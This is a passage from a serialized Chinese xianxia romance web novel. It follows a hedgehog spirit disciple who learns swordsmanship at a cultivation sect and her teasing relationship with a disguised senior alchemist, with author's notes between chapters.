一盆碗筷进了空间储物,在小刺猬不曾反应时,她避开周身的刺,两指捏住小刺猬的腰侧,直直地提起小刺猬。 小刺猬环抱的双爪不得不垂在两侧,好似斗败了般。 小刺猬:“……” 可恶,宁依又这样对她,真想立刻变成人形。 宁依总不能这样拎起人形的她吧。 小刺猬下肢晃动,身体摆动的幅度越来越大,晃荡着,抱住裴依宁的手腕,下肢亦是紧紧裹住女人的手臂。 四肢都抱住了女人,小刺猬龇牙咧嘴地表示要让小跟班看到自己的厉害之处,张口,对着裴依宁的手腕咬下去。 牙齿刚一碰到,小刺猬心软地卸下力气,含着裴依宁腕部肌肤,舌尖抵着那处,眼睛滴溜溜地转,危险性十足地用牙齿压在女人的皮肤上。 稍一用力,就能咬断女子的经脉,废掉这只手。 她传音给裴依宁:【宁依,这是对你的惩罚。】 说罢,她浅浅地咬下,随即松开,留下一排浅浅的牙印。 毫无威胁力的一句传音。 裴依宁看向被咬过的部分,细密的电流顺着尾椎骨直上 她不讨厌,甚至有点喜欢。 小刺猬挂在她手臂上,见女人不说话,深觉被忽视了,于是,她又在同一个位置咬了女人一口。 两处牙印叠加,痕迹更深了。 还不等小跟班认错,小刺猬先心疼了,揉了揉那处:“有没有咬疼你。” 疼吗? 不疼,小刺猬力度控制的很好。 只在小刺猬附上去时,手腕被温热的含住,又被松开。 呼吸一下下地打在露出的肌肤上,小刺猬的担忧尽数摆在脸上。 裴依宁唇抿成一条线,委委屈屈地说:“有点。” “那我给你吹吹……” 忽而,一道声音打断了小刺猬的话:“她在那。” 裴依宁眼神微变,侧目,只见两人并肩朝她而来。 小刺猬登时四肢并用,爬上裴依宁的小臂,小脑袋左右四看,寻找躲避的地方。 但那两人已经往她们这走了,四下也没有能躲人的地方,只有不远处,有一块不知是哪位同门打磨平整,用来休息的石块。 若是宁依坐在那,她再躲到宁依的身后,就可以安然避开两人。 可当看清来人的面孔时,这个念想被小刺猬打消。 来人是器物堂的风浅念和原以诗。 小刺猬不认识原以诗,初见只觉眼熟。 但与风浅念有过几面之缘,知晓对方是资历颇深的师姐。 面对她们,宁依怎么能坐下。 就在她想另一个对策时,裴依宁在她眼皮下坐到了那块石头上。 当小刺猬看向那块石头时,裴依宁就猜到了小刺猬的想法。 与她不谋而合。 小刺猬没时间多想,从裴依宁手臂下跳下,缩成一团滚到石块后。 女人投射下的影子加之周围的草叶,完美将她覆盖。 小刺猬传音:【宁依,你等会站起来,别坐着同师姐说话。】 传音刚落,就听裴依宁对两位快走到面前的人道:“我脚崴了,二位师姐莫要见怪。” 小刺猬:“……” 风浅念,原以诗:“……” 风浅念唇边的笑意凝滞一瞬,银白色的长发被玉簪簪住,她疑惑地:“嗯?” 裴依宁叫她师姐,怎么听怎么不对。 眼角的余光瞥见身侧的原以诗,若是裴依宁唤原以诗师姐,那便正常了。 裴依宁果然开口道:“原师姐。” 原以诗微微颔首。 风浅念道:“我和原师姐有事麻烦你,你现在有时间吗?依宁。” 后面两个字被覆盖,小刺猬只听得前面的。 风浅念叫身旁的原师姐,那么说明那位原师姐的资历要更深,两位资历如此深的师姐为何要来找宁依这位新弟子。 能有什么大事? 裴依宁几不可查地偏头:“什么?” 风浅念和原以诗注意到裴依宁的小动作,前者了解地牵唇,掌心下滑,虚虚圈住原以诗的手腕。 原以诗唇角微扬,贴近了风浅念。 风浅念接收到坐着的人的传音,配合着:“上次你接的任务阁任务是我发布的,那些矿石可还有多余的,我们这边还需要点。” 剩下的矿石,裴依宁都给了小刺猬,现在在小刺猬的空间储物中。 原来是为了这事找宁依,小刺猬揪住裴依宁身后的衣衫:【宁依,还有很多。】 裴依宁顺着话:“有的,我晚些送过去。” 风浅念别过脸侧碎发,别至耳后。 在裴依宁降下阻隔,屏蔽声音传入小刺猬耳中后,才是出声:“现在可以正常交流了吗?” 裴依宁歉意笑笑:“可以了。” 风浅念莞尔,打趣她:“依宁,什么时候你也有闲心演这些了?是之前让你操心铸剑的那位?” 她对剑法阁的那位云榆师妹印象颇深。 裴依宁鲜少露面,出关没多久,和她们见的第一面就是因为那位云榆师妹铸剑之事。 若是杜寻雁关注此事也就罢了,毕竟是同峰阁师姐。 可偏偏是不同峰阁的人,那人还是裴依宁。 裴依宁起身:“嗯,她在这。” 风浅念难免好奇。 向来少言的原以诗在此刻开口:“若是我没记错,那位云榆师妹是妖族之人吧。”她目光落在裴依宁身后,因为遮挡,并不能全然看见,“她现在是原形?” “妖族?”风浅念跟着原以诗的视线看过去,轻笑,“怪不得没能看见。” 原是躲在了裴依宁身后。 宗门内有妖族之人,她们自是知晓。 裴依宁略一点头,身板挺得笔直,并不起身:“原师姐也知晓此事?” 原以诗淡淡道:“我还知她是刺猬一族的。” 裴依宁掀起眼皮。 云榆是刺猬一族的,即使是杜寻雁,也是在洗髓后才知晓的。 原师姐一个器物堂的人怎么知道的。原师姐比她还少关注宗门之事。 她们几人中,就数原师姐性格最为琢磨不透。 云榆一个新弟子,原师姐自不可能特意去打听,去关注。 一直没听见声音的小刺猬疑惑地扒着裴依宁的衣角,风师姐和原师姐还没离去,她不敢冒然出声。 看裴依宁的表情,原以诗没有说错,风浅念歪头,替裴依宁问出:“原师姐怎么知道的?” 原以诗语气平淡:“我先前与宗主出宗,途经一处山脉,撞见过她。” 她回忆当时的情景,小刺猬奄奄一息的躺在地上,周遭一片打斗痕迹,不远处是一只比她大数十倍,早已没了气息的兽类。 不难看出发生了什么。 妖兽打斗,本不与她们相干,可就在这时,小刺猬仅剩的意识和强大的求生欲让她勾住宗主的鞋子。 随着小刺猬动作,脊背上折断的刺零散落地,长短不一的刺缀在土中。 “救我。”小刺猬气息濒弱,口吐人言,“在等我回去……” 抓住救命稻草,即使不知面前的人是好是坏,可都没有比当时更好的选择了,小刺猬不多的灵力被催动。 小刺猬变成了人形。 成了人形,意义便不一样了。 也因此,她和宗主喂下了云榆一粒丹药,将状态渐渐恢复的妖带到一处空旷之地。 在探查此妖身体时,宗主起了惜才之心,留下身份是明越宗的人。 这件事过去数年,也是一件小事,她不曾放在心中,是以先前云榆前往器物堂时,没有第一时间认出。 但云榆时隔数年才入宗倒是让她意外。 数年不见,人形的云榆也变化了很多,没有立刻认出情有可原。 原以诗没有言说遇见的场景,回忆收拢,她言简意赅:“几年前的事了,我记得她当时伤得挺严重,我和宗主喂了她一枚丹药。”她挑眉,“说起来,那枚丹药还是你炼制的。” 作者有话说: 这几天更新时间不定,会比九点晚些 本章掉落66个小红包 第34章 第三十四章[VIP] 原以诗说得浅显, 裴依宁听得心口骤疼,“伤得挺严重”几个字不断叩在耳膜上。 妖兽之争在所难免,为领地,为资源, 为食物…… 可她还是抑制不住后怕, 若是当时宗主和原师姐没有路过那里,事情会不会走向另一个方向。 她不会遇见星星, 平淡的日子依旧如同一杯白开水, 无味到了极致。 风浅念讶然,不曾想原师姐竟与那位云师妹还有这般奇遇。眼角的余光注意到裴依宁稍变的脸色, 她收起多余的好奇心,温柔的声线缓缓流出:“她现在很好, 不是吗?” 许是知晓裴依宁所想,原以诗面不改色地反手握住风浅念的手腕,垂在身侧缓而慢地晃荡:“即使当时我和宗主不救她,她依旧能活下来。” 裴依宁猝然抬眼。 原以诗淡淡道:“她的求生欲很强,加之虽受重伤, 但并不致命, ”她顿了顿, 把玩风浅念的手指, “我和宗主离开时, 遇到几只小刺猬在路上探头嗅闻, 想必是在找云师妹。” 此番话并不是为了安慰裴依宁,原以诗的性格淡漠, 不会说一些没有依据的话。 那几只小刺猬趴在地上, 焦急地窜动,在遇上她和宗主时, 一溜烟地躲到草丛中,小心翼翼地窥探她们的举动。 察觉她们没有敌意,才是从草丛后逃离,往云榆所在的方向赶去。 裴依宁脸色稍转:“浅念,原师姐,你们来找我所谓何事?” 刚刚要矿石的话只是搪塞小刺猬。 风浅念和原以诗来此找裴依宁,是为了让裴依宁帮她们炼制一瓶丹药。 她们几人所用丹药,多是出自裴依宁之手。 是以,在说明来意后,风浅念和原以诗便是离开了。 察觉到两人离开,小刺猬窝缩着伸出小脑袋,圆溜溜的小眼睛灵巧地转动几圈。 身前人坐姿不动,小刺猬疑惑地传音:【宁依,师姐们走了吗?】 裴依宁扭头,盯着小刺猬看了几秒,压着的弧度僵硬扯出:“走了,星星可以出来了。” 小刺猬四肢并用地爬上石块,裴依宁往一侧坐了坐,留出小刺猬所坐的位置。 “这是剩余的矿石。”小刺猬从空间储物中取出装有矿石的袋子,往里瞄了眼,“宁依有时间送去给师姐吗?” 她自是无法将这些送往器物堂,只能让宁依去送。 裴依宁:“我明日送去。” 小刺猬感受到身旁人心情不佳。 属实是裴依宁太明显了,小刺猬的情绪向来流转在面上,裴依宁在与小刺猬独处时,又何尝不是这样。 她甚少在小刺猬面前隐藏情绪。 小臂被勾住,裴依宁顺势歪头,小刺猬不知何时站在了石块上,瞧她看过来,爬上了她的手臂:“不开心吗?” 她想到有段时间没有听见几人的对话:“是两位师姐屏蔽空间,对你说了什么不好的话吗?” 小刺猬只能想到这点,她慢慢地爬到裴依宁的手背上,坐下,温言细语:“你别多想,有不开心的,可以跟我说。”她转过身,露出脊背后的刺,“我可以勉为其难地让你捏我的刺。” 她又转过来,缩起四肢:“你也可以捏着我的身体,把我提起来,像之前你对我的那样。虽然很没面子……” 小刺猬故作傲娇:“但谁让你是我的小跟班,让小跟班开心,也是我的职责。” 一心逗她的小刺猬太过可爱,裴依宁的心软了又软,瞳孔中晃荡着一摊柔和的涟漪。 她当真捏着小刺猬的腰侧,将小刺猬提了起来,摇晃几下。 小刺猬爪子随之摆动。 裴依宁笑出声,空闲的手戳上小刺猬的脸颊,顺着身前毫无防御的毛发向下滑动,最后落在小刺猬的肚子中,指腹来回摩挲:“的确屏蔽空间了,但她们没有对我说不好的话。” 裴依宁掐头去尾,没有详说的意思。 小刺猬不追问,适应被提起后,她在半空中摆出各种姿势,爪臂弯曲,展示上面不存在的肌肉。 五官随着做出各种奇奇怪怪的表情。 小刺猬四肢很灵活,不在意形象地哄小跟班。 裴依宁牵强的笑容变为真心实意,她将小刺猬提近。 瞳孔中女人的面容越发大,小刺猬的动作慢了几拍。 下一秒,愈发清晰的药香传至鼻息间,女人侧脸贴在她的脸颊上,一触即分,小肚子也被女人的侧脸贴上。 等小刺猬反应过来,她已经被提远了。 小刺猬茫然地眨眨眼:“宁依?” 裴依宁:“星星,我现在很开心。” 那种陌生和不适应因这句话消散,小刺猬用力晃动身体,借力四肢抱住裴依宁的手腕,磨磨唧唧地爬上去。 手腕发热,那日小刺猬咬她的触感似乎还残留在上面,裴依宁启唇:“星星,咬我一口。” 小刺猬没听清:“……啊?” 裴依宁霎时回过神:“没什么,星星抓稳,别掉下来了。” 小刺猬坐在裴依宁的手臂上,下肢悬空,双爪撑着下巴,脊背弯曲松垮,懒懒洋洋,不在意地:“放心,不会掉下去的。” 在外面坐的时间长了,裴依宁起身,手臂弯曲在身前,小刺猬无需动。 面前是裴依宁的小腹。 小刺猬勾起女人腰身的束带,两只爪子抱住玩。 回到居所,裴依宁将小刺猬放到床沿边,捏了捏小刺猬的脸颊,凭空取出一盘切好的水果,一粒粒投喂到小刺猬口中。 “对了。”上次宁依去剑法阁,因为她的缘故未能看见剑法,小刺猬有心弥补宁依的遗憾。 她拍拍爪子,一柄灵剑从灵海内飞出,跟随心念,变为与小刺猬差不多的大小。 有专属佩剑就是好,不用像铁剑那般,注意事项极多。 小刺猬骄傲的展示自己的剑:“宁依想看剑法吗?我可以为你演示哦。” 那柄灵剑缩得与小刺猬一般,上面的纹路依旧清晰可见,小刺猬故意将剑柄露出,指着上面篆刻的星星:“看,是星星。” 剑柄处的星星泛着悠悠的光芒,里面藏着一枚水属性的晶石。 亦或者说,这枚星星就是篆刻晶石上的。 裴依宁抚摸过剑身,很好奇的样子。 小刺猬将剑刃对准自己,以免面前的女子不小心伤到:“注意点哦,不要碰到剑刃。”她调转灵剑,将剑柄对准裴依宁递过去,小肚子与剑尖隔着几公分的距离,“宁依,你握这里。” 她将剑修最为珍贵的佩剑递给了小跟班。 缩小的佩剑在裴依宁眼中宛若一把小刀,她仔仔细细地打量剑身的纹路以及内里添置的灵珠与晶石。 除却她当时给风浅念,让对方放置其中的外,在剑的中央,还增添了一条灵线。 在剑尖,藏有星点的火属性元素用以中和水属性本身的温和。 “如何?”小刺猬得意地双手环抱。 出自风浅念和原以诗两人之手,自是极好的:“我对剑懂的不多。但星星的剑,一定是最厉害的。” 小刺猬被夸得飘飘然:“没错。” 裴依宁将剑递回去,与小刺猬递过来时相同,剑柄对着对方,剑尖对着自己。 小刺猬接过剑,挥动几下:“宁依,你还没回答我,想不想看剑法。” 裴依宁:“想看。” 小刺猬抱着剑四处看看,从床沿边掉下,跑到床前一片空旷之地,严肃地对端坐着的女人道:“宁依,不要靠近我,刀剑无眼,伤到你就不好了。” 说罢,小刺猬摆出姿势。 她目前只学过两套剑法,演示给裴依宁的是修习的第一套剑法。 剑法行云流水,每一次提剑,挑剑,下劈都赏心悦目。 只是小刺猬做起这些动作总觉得有趣,裴依宁眉眼含笑。 最后一招结束,小刺猬侧身望了眼认真观看的女人,忍不住笑意,紧紧抿住唇,挽了个漂亮的剑花收剑。 故作淡定,实则一个劲观察裴依宁表情的小刺猬走过去,努力压制住上扬的语调,老成地往那一坐,随口道:“这就是一套很简单的剑招。” 某只小刺猬过于明显了,小表情写满了“快夸我”三个字,裴依宁捧场地:“星星收剑的姿势很有侠者风范。” 这套剑招裴依宁曾经在器物堂见过,是人形的小刺猬演示给风浅念看时,她藏身于红柱后所见。 那时的剑招没有此刻的轻松。 “也就那样,”小刺猬咬住舌尖,忍住几欲而出的笑,“宁依喜欢的话,我可以教你。” “太难了,星星会嫌我笨的。”裴依宁温声拒绝。 实则这套剑招在百年前她便学过,身处她这个位置,对于剑法,多少有所涉猎,就连阵法和炼器,都通一二。 只是不精。 得益于幼时那群一同修炼的人,总会在闲暇之余,互相传授,又或者是常去对方所在峰阁。 耳濡目染之下,也知一些。 只是现在,都忙于自身修炼,没了幼时聚得多了。 “宁依很聪明。”这套剑法她当初学了数日便是可以使出,但宁依毕竟不是剑修,还要学习炼药,抽不出太多的时间。 小刺猬思考过后,道:“等日后有时间或者是宁依想学了,可以随时找我。”她保证,“我会教你,直到你不愿意学为止。” 裴依宁弯唇:“好。” 时间不早了,她洗髓的这几日没有出现在剑法阁,事前也没有和卞凝,应滟说这些,为避免两人过于担心,她需要回一趟剑法阁。 还好小跟班被哄好了。 灵剑化为星点没入灵海中,在里面形成一柄小小的剑形。 小刺猬告别:“宁依,我要回去了,还有人在等我,出来太久,她们会担心的。” 作者有话说: 新年快乐~ 本章掉落66个小红包哦 第35章 第三十五章[VIP] 回到剑法阁的洞府中已是黄昏时刻, 化为人形的云榆握着剑鞘,细细摩挲上方凹凸的纹路。 还没坐下来多久,洞府的门被敲响。 洗髓后,体质和五感都提升了许多, 云榆感知到外面人的气息。 是卞凝。 云榆放下剑, 起身开门,触及到外面的人时, 视线一顿:“你……今天的修炼强度很大?” 卞凝脸上布满了汗珠, 豆大的水珠悬挂在额角,顺着脸颊滑落, 一滴滴融合在一起,形成更大的水滴状, 挂在下颚处。 晃动着,落了下去。 “进来休息会?”云榆侧身让人进去,“我本打算晚些去找你的。” 卞凝抹了把脸,门开后,她整条神经松懈下, 侧身靠在石门边, 一步都懒得多走。 “刚到剑法阁就听人说看见你了。”汗水浸染发丝, 抹去时, 有零星的溅入眼中, 卞凝用力眨了几下, 平复呼吸,“你这几天跑哪去了。” 不止是云榆, 就连杜师姐, 她这几日都没见过几面,每每想去询问云榆所在, 又因为各种各样的人或者事阻碍。 好不容易等到杜师姐有空闲时间,没说两句话,就把插科打诨地顺过去了。 她何尝看不出杜师姐的隐瞒,几次过后,她放弃了从杜师姐那寻找突破口,每日前来云榆的住所。 今天终于看到人了。 云榆心虚地摸摸鼻子,她不确定能不能说,委婉道:“处理了些私事。” 这么一说,卞凝怎么还不明白。她当即遏制住好奇心,扶着墙壁微微喘息:“没事就好。”她解释此次的狼狈,“我今早和一位同门接了任务,刚回来。” 从空间储物中取出一袋东西,展开,露出里面黑糊糊的矿石,矿石上隐约可见蓝紫色的纹路。 竟是那日她和宁依出宗寻找的是同一种矿石。 原来是去做这个任务了。 早出晚归,一日的时间,这般累倒是正常,云榆本想说,为何不在外面留宿一晚,第二日再回来。 但这种事后话说出已然没有必要。 她借着话题往下:“这任务报酬不低,还能当成历练,算是不错的。” 卞凝气息平缓许多,她反手一推身后的墙壁:“还行,二十枚灵石,我与外出的同门一人十枚。” “二十枚?”云榆蹙眉,她和宁依做的时候,这项任务还是一百枚灵石。 几日竟下调地如此厉害。 本想说她也做过同样任务的话,被云榆按在喉咙中。 将卞凝邀进来喝了几杯水,又聊了些这几日的变化,卞凝赶时间地前往任务阁提交任务。 云榆将人送出,反身回到洞府,为自己倒了杯白开水。 她喝不太惯茶水。 上次任务的矿石她给了宁依,届时宁依会找时间送去器物堂给两位时间。 眼下看来这些任务的报酬会变动,以后接任务,还需要顾及到这些,以新出的任务为主,最起码能赶上任务的最高报酬。 云榆捏了捏鼻梁骨,去洗漱一番。 她双腿盘坐在床上,屏气凝神,调动灵海内的灵珠,空气中的灵气随着灵珠的运转,源源不断地钻入体内。 灵珠附近的那柄小剑悬浮在灵海内,随着灵气入内,一颤颤地。 其中有几缕灵气没入剑中,引得剑鸣不断。 云榆控制住新入的灵气,在四肢百骸中游走,一点点炼化,融入自身的灵力中。 时间流逝,再到一睁眼,夜已深。 半开的窗边偶尔拂过风动之音,云榆只觉得身心轻松,半分疲惫不觉。 不知是不是修炼过于消耗自身能量,云榆摸着肚子,感受到一股饿意。 她想吃东西。 之前宁依给的肉干和药材干还没吃完,她取出几根肉干,就水饱腹,肉干软硬适中。 她吃不惯太硬的,会硌牙,太湿的没有嚼劲,口感还怪。 宁依晒的肉干完全踩在她的点上。 “宁依这幅手艺,要是传授给我一半就好了。”云榆感概一声,将肉干的最后一截塞入口中,津津有味地咀嚼。 吃完又去洗了个澡,云榆合衣而睡。 第二日,云榆起得极早,天际刚泛起一层浅淡的橘黄色暖边时,她已经穿戴整齐,开门前往修炼之所。 她迫切地想要试验如今所能承受的重量。 搬起洗髓前的那块石头,来回走了一轮。 无可否认,她真实地感受到身体上质的飞跃。 她现今一只手就可以轻松拾起这块石头,走上一个来回也无多少感觉。 与先前的累死累活而言,简直不要太容易。 她直接换了比这块石块重数倍的,两手捧起,虽觉吃力,但挺挺可以坚持下去。 又是一个来回,云榆扔下石块。 原先指腹磨出的茧因洗髓而消失,白皙柔软,一片细腻。 但经历刚刚那两轮,掌心又有了磨损的痕迹。 没起水泡,不错。 云榆拍拍手,继续换石块,来回不断。 等此地有其余同门来时,云榆已经顺过数个回合,脸颊红润,薄汗涔涔。 用手帕抹去汗水,又擦拭一番手部,召唤出佩剑,捧着一本剑法古籍,根据上方分解的动作,一点点学习。闲祝夫 今日的带教师姐到了。 杜寻雁刚一来,就瞧见某位勤奋的小师妹在学习新的剑招,她侧头低声与身旁的人说了几句,又指了指陆续到来的师妹,迈步朝云榆而去。 “云师妹。”等一招结束,云榆翻页时,杜寻雁找准时机叫住人。 云榆顿下动作:“杜师姐。” 杜寻雁不着痕迹的上下略过面前的人,越发看不明白云榆到底是怎么和裴依宁这尊大能搭上关系的。 甚至甘愿因此叫别人师姐。 杜寻雁至今没理解裴师姐这么做的原由,总不能是云榆还不知道裴师姐的身份,而裴师姐也没有告诉云榆的念头吧。 她敲住太阳穴,回归正题:“洗髓后,可感知到身体内的变化?” 云榆这两日体验了洗髓的好处,她点头将这两日所感所觉说出。 杜寻雁显然对此次洗髓的效果很满意,微微点头:“你本就是妖兽一族,气力与人族相比,具有天然优势。可能是你幼时没能充分挖掘,洗髓结束,这种优势会无限延伸。” 她摊开手掌,对着云榆的剑上下浮动,云榆后知后觉地将灵剑递到杜寻雁手中,茫然地后退两步,腾出空。 杜师姐是要给她示范吧。 然而,杜寻雁只是奇怪地看她一眼:“你离我那么远做什么?”她上前两步,将那点距离补回来,灵剑塞回云榆掌心,随即脚步浮动,移动到云榆身后。 她手掌虚虚地按在云榆的手腕上,下一刻,像是触碰到什么,猛地松开。 云榆不解回望:“杜师姐。” 因着昨日在灵丹堂所见,以往指点师妹还不觉得,如今近到几乎挨在一起,脊背莫名开始发凉。 杜寻雁:“……” 教导修炼与私情无关,宗门道侣那么多,若是顾及这顾及那,还怎么修炼。 修炼时的杜寻雁是严肃的,几个念头而过,她重新按住云榆的手腕,用一层灵力阻隔,裹住云榆的手背,随即她握住云榆的手:“有灵力阻隔,我不会与你有任何肢体接触。” 不知杜师姐为何突然来了这句,云榆摸不着头脑地应下:“好的,杜师姐。” 云榆适才有几招稍有偏差,这些偏差光是说,可能无法理解透彻,所以杜寻雁打算带云榆亲自感受,更能体会到其中的不同。 她虚虚地圈住云榆的肩膀,脚步带着云榆转动,往前挥出一剑:“剑法包含无穷奥秘,死板地照葫芦画瓢难以参悟其中的玄妙。你需得与你的剑产生共鸣,参悟这些剑招的势。” “日后你会在剑修这条路上越走越远。而这些剑法都会根据你个人的习性,逐步转化为你自己的东西。”杜寻雁耐心地道,“但现在,你还无法完全转化为自己的东西。” “那便要与古籍上记载的那般,先行将招式做对……” 杜寻雁每带着她做完一个招式,就会告知这个剑招具体是何样的,其中的厉害之处和注意点又在哪里。 云榆听得一知半解,大脑茫然地接收这些知识,尽力消化。 “记不住也没关系。”杜寻雁看出她的吃力,“等日后,我会记录下来,你到时对着看即可。” “记住不是目的,学以致用才是。” 云榆点头:“我知道了,杜师姐。” 最后一招落下,杜寻雁绷着的脸上露出笑意,然而,这个笑意还没持续多久,彻底僵硬在脸上。 不远处,裴依宁不知何时来到这时,静静地站在一颗古树下,一瞬不瞬地盯着这里。 杜寻雁脊背凉意更甚,血液似乎凝固。 云榆只顾着杜师姐刚才的话,一抬头,就见杜寻雁这幅模样,她不明所以地顺着对方的视线看过去。 古树下空无一物。 再一回头,杜寻雁脸上神色正常,刚才的惊慌仿佛是错觉。 云榆只当看错了,她捧起古籍,指着其中一幅人物舞剑图,提出自己的疑问。 杜寻雁自是悉心告知。 修炼结束,云榆天赋本就高,被杜寻雁带着过了遍,理解的越发透彻,再多琢磨琢磨,便能吃透这套基础剑法,为未来打好基础。 她走在回洞府的路上边走边想。 谁知,洞府前,一道颀长的人形,面壁思过般正对着石门。 听见脚步声,那人转过身,露出一张云榆无比熟悉的脸。 是宁依。 宁依怎么过来了。 云榆当即热情的打招呼:“宁……”声音变调,“您怎么来了,”她意味深长地落下称呼,“师姐。” 作者有话说: 小刺猬:又来骗我叫师姐 第36章 第三十六章[VIP] 剑法阁弟子们居住的洞府外沿的小路上, 陆陆续续有修炼结束的弟子回来。 裴依宁负手而立,淡淡扫过云榆垂落在身侧的手,指尖几不可查地勾动。视线转回至云榆的脸上,那双闪着水光的鹿眼中含着几分……说不清的意味。 是玩味。 裴依宁歪头:“云师妹, 数日不见, 你的手如何了?” 云榆下意识抬起手,一双手因为早日的搬运和握剑, 细嫩的指腹中磨出一层浅浅的新茧。 很薄, 不去触摸,难以发觉。 云榆笑道:“您给的丹药很好用, 我的手很好。” 公事公办的语气,唯独说起那个“您”字, 带着古怪之感。 但相较于用师姐称呼宁依,她更愿意为“您”。 这样,不算宁依占她太多便宜。 想到这,云榆唇抿成一条直线,扯出甜甜的笑容, 上前几步, 挤到裴依宁面前, 凑近到石门边, 掌心贴着石门, 用力。 门推开一条缝。 即使被占便宜, 可谁让这人是自己的小跟班,又是负责任的因为自己的手来此, 她定然舍不得说教。 她顺从地问:“辛苦您来, 时候不早了,您要进来坐坐吗?我这里备了些吃食, 您可以尝尝。” 裴依宁敛眸,不由自主地看向杜寻雁指导云榆练剑时触碰到的部位,眸光微暗:“不了,我还有事。” 石门被推开,云榆怔愣了瞬,女人已经从她身边擦身而过。 近距离下,药香随着女人的走动漂浮至云榆鼻息间。 极为好闻的香气。 “哎。”云榆连忙追了上去,手臂一伸,拦住要走的人。 裴依宁脚步一顿:“云师妹,还有事?” 云榆:“……没事,”她暗暗咬牙,“师姐慢走。” 目送裴依宁走远,云榆回到洞府,为自己做了顿黑糊糊的午饭,食不知味的吃完,她抹了把唇角。 本以为宁依过来,午饭能吃顿好的,可谁知对方说了两句话就走了,压根不给她多说的意思。 “不对,”云榆出了洞府,分析,“宁依不知道我的人形,还装作是师姐,肯定不能让她做饭吃。” 她叹息,还是要用小刺猬形才可以。小刺猬形的她可以光明正大的让宁依为她做饭。 口中泛着苦意,是那份午饭的原因,小刺猬摸出一根肉干,掰一点吃一点。 剑法阁后的山阁有一棵灵桃树,上面的果实出了名的多汁美味,甚至引得其她峰阁的同门前来偷摘。 云榆曾经跟着卞凝偷偷来过几次,这次卞凝不在,她一人束手束脚,颇不自在。 蹑手蹑脚地进入后山阁,云榆释放灵识,探查四周可有人。 她修为不高,只能探查到修为比她低的。 四周没有。 云榆本着探查不到即为没有的念头,迎着那棵灵桃树而去。 刚走出剑法阁弟子居住的范围,裴依宁脑中又浮现云榆和杜寻雁几乎相贴的身形,哽塞在胸口的情绪上浮。 等清醒过来,她又回到剑法阁弟子居住之所,站在云榆洞府外十数米处。 不多时,云榆洞府的门开启,人影从半开的石门内钻出,朝着一个方向而去。 鬼鬼祟祟。 不知为何,裴依宁想到这四个字形容此刻的云榆。 她不动声色地跟上去,却发现云榆钻入后山阁中,向着山阁内唯一的灵桃树而去。 剑法阁阁主曾经有过命令,任何人不可随意采摘灵桃树上的果实。 不可随意,这个是很微妙的词,加之廖阁主性情向来不错,之前有偷摘被抓,送到廖阁主面前,廖阁主也只是睁一只眼,闭一只眼,说了句“少摘点,别把灵树弄毁了”。 是以众弟子在不可偷摘的禁令下,明面上遵守,暗地里,还是会偷偷摸摸过来。 看样子,小刺猬要来这偷吃了。 裴依宁立于一块石墙后方。 站在灵树下,云榆扬头看向树上密密麻麻的灵桃,身体一歪,身形变动,化作一只小刺猬。 原身目标更小,利于爬树。 小刺猬拍拍掌心,四肢挂在树上,下肢努力的往上一蹬,上肢借下肢的力,身形往前一伸一探。 她重复这个动作,不多时,爬上最矮的那根枝头,爪子奋力伸出。 离灵桃还有些距离。 云榆眨眨眼,摇摆身体,荡秋千似的将自己甩到树枝上,下肢并住树枝,翻身而上,四肢并用地往枝头爬,然后勾住树枝,倒挂着摘下一颗灵桃。 小刺猬将其放入空间储物中,重新倒挂回去,又采摘了一枚灵桃。 一连数次,小刺猬心满意足地从灵桃树上跳下,左右无人,后背贴着树干。 光芒一闪,她化作人形蹲着。 云榆起身,拍拍身上并不存在的灰尘,迈步走了几步。 耳尖地听见有人靠过来,云榆喉咙滚动,弯身捡起一根树枝,表情变动几分,端着一幅严肃枝貌,看向声音来源地。 又是宁依。 这是云榆的第一想法。 不久前离开的人出现在此,云榆一时不知该说些什么。 她摆出人畜无害的样子,迎上去:“师姐,您也在这。” 她不确定宁依是什么时候来的,但看对方的神情,想来是不曾注意到她。 云榆扔掉捡起准备当借口的树枝。 裴依宁根据云榆变动的表情,将对方心中所想猜了一二,眉梢半挑,毫无隐藏目的地抬起下巴,小幅度点了点那棵灵桃树:“来采摘几颗灵桃吃。” 云榆:“……” 不是,你好歹隐藏点吧。一个灵丹堂的弟子,当着剑法阁弟子的面,说要来采摘她们峰阁内的东西。 这与她前往灵丹堂,被灵丹堂弟子发现,还光明正大的说自己特意来偷吃有什么区别。 云榆一口气憋在胸口,一边呐喊着能不能不要这么实诚,一边笑眯眯地说:“师姐可能有所不知,阁主曾言,不可采摘此树上的灵桃。” 裴依宁不置可否:“许是闭关久了,少有外出,一时间忘了这个。” 云榆捂住唇轻咳一声。 真能编,还闭关久了,还少有外出,骗谁呢。 压住不断而出的不信,云榆配合着:“那我送师姐出去?” “不了。”空气中的灵力被调动,裴依宁曲指一弹,一枚灵果从树上掉落,被灵力托举,送入面前,她一抬手,当着云榆的面握住这枚灵果。 因着峰阁内师姐们的培养,与灵气的滋长,灵果长势极好,颗颗饱满。 但也造成了灵果表皮过于脆弱,稍不留意,就会毁坏表层。 大多数新弟子偷摘时,总会提着心,为防止控制不到位,损害果实,都是采用手摘的方式。 河流中的水被牵引出一支,悬在裴依宁身前,她清洗灵桃:“既然来了,总要品尝一番味道。” 云榆:“……师姐,我们要么偷偷的呢。” 裴依宁奇怪地看向她:“为什么?” 话音刚落,一队人凭空出现。 为首之人赫然是杜寻雁。 云榆神色微变,猛地回头提醒裴依宁藏好刚刚采摘的果实。 回眸却见裴依宁掀起眼皮,漫不经心地往后一退,而女人拿着的果实已经消失不见。 云榆松口气,还好宁依聪明,已经提前藏好了。 然而下一秒,她与一柔软的肌肤相碰,尾指被有意勾起,不等反应,手中一沉。 云榆下意识低头,手中竟是多了一颗果实。 云榆:“……” 刚夸人会藏,结果是藏到她手上了。 “云师妹?”杜寻雁摆摆手,示意身后几人退去,又一扭头,瞧见另一边的人,哽了哽,没说话。 云榆没注意到杜寻雁看向裴依宁时的复杂,一门心思地将掌中之物塞入空间储物。 可还是慢了,这一过程被杜寻雁捕捉:“云师妹,别藏了。” 云榆无话可说,她绷紧脸,面无表情地对上裴依宁无害的脸,五官皱巴起来。 没有比她还惨的了,被甩锅还不能揭穿。 谁让甩锅的人是她的小跟班。 她忍。 云榆低眉顺目,承认下来:“杜师姐,我知道错了。” 杜寻雁瞧着她握着的灵果,无奈摇头:“没事,我们就是应付一下任务,下次摘完立刻藏起来,别这么明目张胆。”她降低声音,“毕竟是阁主之令,表面功夫还要做做。” 云榆感激:“我以后会注意的,师姐。” 眼角的余光瞥见一侧百无聊赖站着的人,反正杜师姐说了是表面功夫,那她正好借机给几番占她便宜的宁依一点小小的教训。 